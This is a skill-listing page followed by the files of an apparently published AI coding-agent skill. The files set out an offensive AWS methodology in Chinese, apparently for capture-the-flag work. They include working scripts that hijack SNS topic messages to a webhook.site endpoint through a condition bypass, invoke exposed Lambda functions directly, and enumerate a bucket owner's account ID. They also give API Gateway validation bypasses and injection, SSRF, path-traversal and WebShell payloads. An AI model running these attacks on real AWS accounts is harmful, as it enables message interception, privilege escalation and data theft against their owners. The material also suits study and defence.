
Aws Iam Policy Analysis
- 24 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
aws-iam-policy-analysis is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- aws-iam-policy-analysis
- AI & Agent Building
- AI-coding skill
Aws Iam Policy Analysis by the numbers
- 24 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,876 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill aws-iam-policy-analysisAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 24 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
AWS IAM / Resource Policy 分析方法论
拿到 AWS 策略文件(IAM Policy、Resource Policy、Lambda 代码等)后的系统化分析方法。核心目标:从策略中推导攻击面,而非盲目枚举。
⛔ 深入参考(必读)
- S3 策略分析 + 常见漏洞模式 → references/s3-attack-techniques.md
- Lambda/API Gateway/SNS 资源策略漏洞模式 → references/aws-resource-policy-exploits.md
---
核心原则
1. 策略文件优先 — 拿到 IAM Policy / 源代码 / CloudFormation 模板时,第一时间分析,不要先盲目枚举 2. 从策略推导攻击面 — 策略告诉你"允许什么",攻击面就在"允许范围的边界" 3. Principal 是入口 — "Principal": "*" 意味着跨账户/匿名访问,是最高优先级检查项 4. Condition 可能被绕过 — StringLike 通配符在不同协议/上下文中含义不同 5. 信任关系 > 单个权限 — 关注服务之间的信任链(谁能调用谁、谁能传递角色给谁)
---
Step 1: 策略文件快速分类
拿到附件/下载的文件后,先分类:
| 文件类型 | 识别方式 | 关注点 |
|---|---|---|
| IAM Policy | "Version": "2012-10-17", "Statement" | Action/Resource 范围 |
| Resource Policy | 同上,但有 Principal 字段 | 谁能访问、条件限制 |
| Lambda 代码 | .py/.js 文件,handler(event, context) | 输入处理、路径拼接、注入点 |
| CloudFormation | AWSTemplateFormatVersion, Resources | 完整架构、角色绑定 |
| Trust Policy | "Action": "sts:AssumeRole" | 角色可被谁 assume |
---
Step 2: IAM Policy 危险模式识别
2.1 检查 Principal
🔴 "Principal": "*" → 任何 AWS 身份(含匿名)可访问
🔴 "Principal": {"AWS": "*"} → 同上
🟡 "Principal": {"Service": "lambda.amazonaws.com"} → 特定服务可调用
🟢 "Principal": {"AWS": "arn:aws:iam::123456:root"} → 限定账户2.2 检查 Action 范围
| Action 模式 | 风险 |
|---|---|
"Action": "*" | 🔴 完全控制 |
"Action": "s3:*" | 🔴 S3 完全控制 |
"Action": ["s3:GetObject", "s3:PutObject"] | 🟡 可读可写 |
"Action": "s3:GetObject" on "Resource": "*" | 🟡 可读所有 Bucket |
"Action": "sts:AssumeRole" | 🟡 可切换角色(权限提升入口) |
"Action": "iam:PassRole" | 🟡 可传递角色(间接提权) |
"Action": "lambda:InvokeFunction" with Principal:* | 🔴 任何人可调用 Lambda |
2.3 检查 Resource 范围
🔴 "Resource": "*" → 所有资源
🟡 "Resource": "arn:aws:s3:::bucket/*" → bucket 内所有对象
🟢 "Resource": "arn:aws:s3:::bucket/public/*" → 仅 public 前缀2.4 检查 Condition 绕过
// StringLike 通配符 — 不同上下文含义不同
"Condition": {"StringLike": {"sns:Endpoint": "*@company.com"}}
// email 协议: Endpoint = 邮箱 → 必须是 xxx@company.com
// https 协议: Endpoint = URL → URL 中包含 @company.com 即可绕过
// IpAddress 条件 — 可能有 VPN/代理绕过
"Condition": {"IpAddress": {"aws:SourceIp": "10.0.0.0/8"}}
// StringEquals vs StringLike — 前者精确匹配,后者支持通配符---
Step 3: 服务信任关系图推导
从策略文件中画出"谁信任谁"的调用关系:
读取所有策略文件
↓
识别所有 Principal(谁是调用者)
↓
识别所有 Resource(谁被访问)
↓
连线: Principal → Action → Resource
↓
找到最弱一环(Principal:* 或过宽权限的边)常见服务关系:
- API Gateway → Lambda(API GW 触发 Lambda)
- Lambda → S3/DynamoDB/SNS(Lambda 执行角色权限)
- SNS → Lambda/SQS/HTTP(消息推送目标)
- IAM User → AssumeRole → 高权限角色
关键: 分析 Lambda Execution Role 的权限 — 这决定了 Lambda 能访问什么资源。
---
Step 4: Lambda / 应用代码审计
拿到 Lambda 代码(handler.py/index.js)后重点检查:
| 漏洞类型 | 代码模式 | 利用方式 |
|---|---|---|
| 路径穿越 | os.path.join(prefix, user_input) | 绝对路径绕过:/flag |
| 命令注入 | os.system(f"cmd {user_input}") | ; cat /flag |
| SSRF | requests.get(user_input) | http://169.254.169.254/... |
| 环境变量泄露 | os.environ['SECRET'] | 错误信息/Stack Trace |
| SQL 注入 | 字符串拼接 SQL | ' OR 1=1 -- |
| 反序列化 | pickle.loads()/yaml.load() | 构造恶意对象 |
---
Step 5: AWS 服务端点发现
# 从目标页面提取 AWS 相关 URL
curl -s TARGET_URL | grep -oE 'https?://[a-z0-9.-]+\.amazonaws\.com[^"]*'
curl -s TARGET_URL | grep -oE 'https?://[a-z0-9]+\.execute-api\.[a-z0-9-]+\.amazonaws\.com[^"]*'
# 从 JS/HTML 中提取 S3 Bucket、API GW URL
curl -s TARGET_URL | grep -oE 's3\.amazonaws\.com/[^"]*'
# Presigned URL 信息泄露
# X-Amz-Credential 包含 AccessKeyId 和 Region---
Step 6: 常用辅助工具
# webhook.site — 接收 AWS 服务回调(SNS、S3 Event 等)
# 当需要外部 Endpoint 接收 AWS 推送时使用
# AWS CLI 策略检查
aws iam get-policy-version --policy-arn ARN --version-id v1
aws s3api get-bucket-policy --bucket BUCKET
aws lambda get-policy --function-name FUNC
# ScoutSuite — AWS 安全配置审计
# Prowler — AWS 安全基线检查---
⚠️ 避免的错误
1. 不要盲目枚举 — 连续 3 次 AccessDenied/404 后应停下来重新分析策略 2. 不要忽略附件 — 附件中的策略文件包含了解题所需的全部信息 3. 不要假设固定攻击链 — 每个场景的服务组合和漏洞点不同,从策略分析出发而非套模板 4. 不要忽略 Condition 字段 — 很多看似安全的策略,其 Condition 可被绕过
Lambda / SNS / API Gateway 利用详解
1. Lambda 资源策略 Principal:* 利用
1.1 识别 Principal:*
Lambda 资源策略(Resource-based Policy)控制谁能调用函数。Principal: * 意味着任何 AWS 身份都能直接调用:
{
"Effect": "Allow",
"Principal": "*",
"Action": "lambda:InvokeFunction",
"Resource": "arn:aws:lambda:us-east-1:ACCOUNT:function:FUNC_NAME"
}1.2 直接调用 Lambda(绕过 API Gateway)
直接调用不经过 API Gateway,因此:
- 没有请求模型验证(JSON Schema)
- 没有 API Key / Usage Plan 限制
- 没有 WAF 规则
- 没有 CORS 限制
event对象结构不同(无requestContext)
import boto3, json
# 需要 AWS 凭据(任何账户的都行)
lambda_client = boto3.client('lambda', region_name='us-east-1')
response = lambda_client.invoke(
FunctionName='arn:aws:lambda:us-east-1:TARGET_ACCOUNT:function:FUNC_NAME',
InvocationType='RequestResponse',
Payload=json.dumps({
# 直接传任意参数,无 API GW 校验
"template": "/flag",
"token": "valid-token",
"name": "attacker"
})
)
result = json.loads(response['Payload'].read())
print(json.dumps(result, indent=2))1.3 Lambda 函数名发现
# 从 API Gateway 错误信息
curl -X POST "https://API.execute-api.REGION.amazonaws.com/prod/endpoint" \
-H "Content-Type: application/json" -d '{}'
# 可能返回:Function not found: arn:aws:lambda:...:function:XXX
# 从 SNS 消息泄露(context.function_name)
# 从 CloudWatch 日志(如果有读权限)
aws logs describe-log-groups --log-group-name-prefix "/aws/lambda/"
# 常见命名模式猜测
# project-name-FunctionName, STACK-FuncName-HASH---
2. SNS 订阅协议绕过
2.1 原理
SNS Subscribe 支持多种协议,每种协议的 Endpoint 含义不同:
| 协议 | Endpoint 含义 | 示例 |
|---|---|---|
email | 邮箱地址 | user@company.com |
sms | 电话号码 | +1234567890 |
https | HTTPS URL | https://example.com/webhook |
sqs | SQS ARN | arn:aws:sqs:... |
lambda | Lambda ARN | arn:aws:lambda:... |
当 Policy 条件为 StringLike: {"sns:Endpoint": "*@company.com"} 时:
- email: 必须是
xxx@company.com邮箱 → 我们通常没有 - https: URL 中包含
@company.com就行 → 可绕过!
2.2 利用步骤
import boto3, json, urllib.request, time
TOPIC_ARN = "arn:aws:sns:us-east-1:TARGET_ACCOUNT:TopicName"
# Step 1: 创建临时 webhook
resp = urllib.request.urlopen(urllib.request.Request(
'https://webhook.site/token', data=b'',
headers={'Accept': 'application/json'}, method='POST'))
wh = json.loads(resp.read())
webhook_url = f"https://webhook.site/{wh['uuid']}"
# Step 2: 订阅(HTTPS 协议 + 构造满足条件的 URL)
sns = boto3.client('sns', region_name='us-east-1')
sns.subscribe(
TopicArn=TOPIC_ARN,
Protocol='https',
Endpoint=f"{webhook_url}?x=@company.com", # *@company.com ✓
ReturnSubscriptionArn=True
)
# Step 3: 等待 SubscriptionConfirmation
time.sleep(5)
reqs = json.loads(urllib.request.urlopen(urllib.request.Request(
f"https://webhook.site/token/{wh['uuid']}/requests?sorting=newest",
headers={'Accept': 'application/json'})).read())
for r in reqs.get('data', []):
body = json.loads(r.get('content', '{}'))
if body.get('Type') == 'SubscriptionConfirmation':
# Step 4: 确认订阅
urllib.request.urlopen(body['SubscribeURL'])
print("[+] Subscription confirmed!")
break
# Step 5: 触发业务流程,等待 Notification
# 之后所有发布到该 Topic 的消息都会 POST 到 webhook2.3 其他 Endpoint 条件绕过
条件: *@company.com
email → 需要 company.com 邮箱(通常无法绕过)
https → https://attacker.com?x=@company.com ✓
条件: https://*.company.com/*
https → 需要 company.com 子域名(较难绕过,除非有子域名接管)
条件: arn:aws:sqs:*:ACCOUNT:*
sqs → 只允许特定账户的 SQS 队列(需要该账户权限)---
3. API Gateway 请求验证绕过
3.1 Content-Type 绕过
API Gateway Request Validator 仅在 Content-Type: application/json 时执行 JSON Schema 校验。
请求流程:
Content-Type: text/plain
Client ─────────────► API Gateway ─────────────► Lambda
│ │
│ text/plain │ body = event["body"]
│ → 不是 JSON │ data = json.loads(body)
│ → 跳过 Schema 验证 │ → 正常解析 JSON!
│ │
└── PASS ─────────────────► └── 包含被禁止的字段# 被拦截(application/json → JSON Schema 校验)
curl -X POST API_URL \
-H "Content-Type: application/json" \
-d '{"field":"ok","forbidden":"malicious"}'
# → {"message": "Invalid request body"}
# 绕过(text/plain → 跳过校验)
curl -X POST API_URL \
-H "Content-Type: text/plain" \
-d '{"field":"ok","forbidden":"malicious"}'
# → Lambda 正常处理,forbidden 字段被接受3.2 其他 API Gateway 绕过
# HTTP Method Override
curl -X POST API_URL -H "X-HTTP-Method-Override: PUT"
# Stage 变量注入(旧版 API GW)
curl "https://API.execute-api.REGION.amazonaws.com/prod/../dev/endpoint"
# 二进制 Media Type
# 如果 API GW 配置了 Binary Media Types(如 application/octet-stream)
# 请求体可能不经过验证直接透传---
4. IAM 策略分析速查
4.1 危险 Action 组合
| Action | 单独危害 | 组合危害 |
|---|---|---|
s3:GetObject on * | 可读取所有对象 | + ListBucket = 完整数据泄露 |
s3:PutObject | 可写入对象 | + 静态网站 = XSS/Phishing |
lambda:InvokeFunction | 可调用函数 | + 函数有高权限 = 权限提升 |
sns:Subscribe | 可订阅主题 | + 宽松条件 = 拦截消息 |
sns:Publish | 可发布消息 | + Lambda 订阅 = 触发执行 |
sts:AssumeRole | 可切换角色 | + 高权限角色 = 权限提升 |
iam:PassRole | 可传递角色 | + Lambda/EC2 = 权限提升 |
4.2 危险 Action 组合速查
s3:GetObject + s3:ListBucket → 完整数据泄露
s3:PutObject + 静态网站 → XSS/Phishing
lambda:InvokeFunction + Principal:* → 绕过 API GW 直接调用
sns:Subscribe + 宽松 Condition → 消息劫持
sts:AssumeRole + 高权限角色 → 权限提升
iam:PassRole + Lambda/EC2 → 间接权限提升S3 攻击技术详解
1. S3 Account ID 侧信道枚举
原理:AWS STS Session Policy 支持 s3:ResourceAccount 条件键。通过 AssumeRole 附加限制性策略,可以根据响应(AccessDenied vs NoSuchKey/Success)判断目标 Bucket 所属 Account ID 的每一位数字。
前置条件:
- 拥有一个 AWS 账户(CTF 环境通常提供)
- 需要 IAM User + Role(root 不能直接 AssumeRole)
- 目标 Bucket 中至少有一个已知 Key(如
index.html、register.html)
准备工作
import boto3, json
iam = boto3.client('iam', region_name='us-east-1')
sts = boto3.client('sts', region_name='us-east-1')
my_acct = sts.get_caller_identity()['Account']
# 创建 Role(附加 S3ReadOnly)
try:
iam.create_role(
RoleName='s3-enum-role',
AssumeRolePolicyDocument=json.dumps({
"Version": "2012-10-17",
"Statement": [{"Effect": "Allow",
"Principal": {"AWS": f"arn:aws:iam::{my_acct}:root"},
"Action": "sts:AssumeRole"}]
}))
iam.attach_role_policy(RoleName='s3-enum-role',
PolicyArn='arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess')
except: pass # 已存在
# 创建 User(需要 AssumeRole 权限)
try:
iam.create_user(UserName='s3-enum-user')
except: pass
key = iam.create_access_key(UserName='s3-enum-user')['AccessKey']
iam.put_user_policy(UserName='s3-enum-user', PolicyName='assume',
PolicyDocument=json.dumps({"Version": "2012-10-17", "Statement": [{
"Effect": "Allow", "Action": "sts:AssumeRole", "Resource": "*"}]}))
import time; time.sleep(15) # IAM 传播延迟
sts_user = boto3.client('sts', region_name='us-east-1',
aws_access_key_id=key['AccessKeyId'],
aws_secret_access_key=key['SecretAccessKey'])
role_arn = f"arn:aws:iam::{my_acct}:role/s3-enum-role"逐位枚举
BUCKET = "target-bucket-name"
KNOWN_KEY = "index.html" # 已知存在的 S3 Key
account_id = ""
for pos in range(12):
for digit in range(10):
pattern = account_id + str(digit) + "?" * (11 - pos)
policy = json.dumps({"Version": "2012-10-17", "Statement": [{
"Effect": "Allow", "Action": "s3:GetObject",
"Resource": f"arn:aws:s3:::{BUCKET}/*",
"Condition": {"StringLike": {"s3:ResourceAccount": [pattern]}}
}]})
try:
creds = sts_user.assume_role(
RoleArn=role_arn, RoleSessionName=f"e{pos}{digit}",
Policy=policy, DurationSeconds=900)['Credentials']
s3 = boto3.client('s3', region_name='us-east-1',
aws_access_key_id=creds['AccessKeyId'],
aws_secret_access_key=creds['SecretAccessKey'],
aws_session_token=creds['SessionToken'])
s3.get_object(Bucket=BUCKET, Key=KNOWN_KEY)
account_id += str(digit)
print(f"pos {pos}: {digit} → {account_id}")
break
except Exception as e:
if 'AccessDenied' in str(e):
continue
# NoSuchKey 也表示 Account ID 匹配成功
if 'NoSuchKey' in str(e):
account_id += str(digit)
print(f"pos {pos}: {digit} → {account_id}")
break
print(f"Target Account ID: {account_id}")参考:Ben Bridts — Finding the Account ID of any public S3 bucket
---
2. S3 Bucket 策略分析 Checklist
拿到 Bucket Policy 或 IAM Policy 后的分析清单:
| 检查项 | 危险信号 | 利用方式 |
|---|---|---|
Principal: * | 🔴 任何人可访问 | 直接操作 Bucket/Object |
Action: s3:GetObject on /* | 🟡 可读取所有对象 | 遍历 Key 读取敏感文件 |
Action: s3:PutObject | 🟡 可写入对象 | 上传 WebShell/XSS payload |
Action: s3:ListBucket | 🟡 可列举对象 | 发现隐藏文件 |
Condition: StringLike with * | 🟡 通配符可能被绕过 | 构造满足条件的输入 |
s3:prefix 条件限制 | 🟢 仅限特定前缀 | 检查前缀是否可绕过 |
---
3. S3 Presigned URL 利用
# 如果拿到了 AWS 凭据且有 s3:GetObject 权限
aws s3 presign s3://BUCKET/KEY --expires-in 3600
# 从 API 响应中提取 presigned URL
# 常见于:图片上传、文件下载、邮件附件
# URL 格式:https://BUCKET.s3.amazonaws.com/KEY?X-Amz-Algorithm=...&X-Amz-Credential=...
# Presigned URL 信息泄露
# X-Amz-Credential 包含 AccessKeyId 和 Region
# 可用于识别账户和服务区域---
4. S3 路径穿越(os.path.join)
Python os.path.join() 的危险行为:当后续参数是绝对路径时,丢弃前面所有路径。
import os.path
# 正常
os.path.join("templates", "default.txt") # → "templates/default.txt"
# 攻击:绝对路径
os.path.join("templates", "/flag.txt") # → "/flag.txt" ← 前缀被丢弃!
os.path.join("uploads", "/etc/passwd") # → "/etc/passwd"
# 常见过滤绕过
# 过滤 ".." → 用绝对路径 "/flag" 绕过
# 过滤 "/" → 较难绕过,但检查是否只过滤开头
# 过滤 "flag" → 尝试 "/Flag"、"/FLAG"(S3 Key 大小写敏感)
# S3 Key 中 "/" 开头的行为
# S3 Key 允许以 "/" 开头,如 "/flag.txt" 是合法 Key
s3.get_object(Bucket="private-bucket", Key="/flag.txt") # 有效!安全的替代方案(用于识别修复后的目标)
# 白名单校验
import re
if not re.match(r'^[a-zA-Z0-9_-]+$', template):
raise ValueError("Invalid template")
# 字符串拼接而非 os.path.join
template_key = f"templates/{template}.txt"
# 结果校验
template_key = os.path.join("templates", f"{template}.txt")
if not template_key.startswith("templates/"):
raise ValueError("Path traversal detected")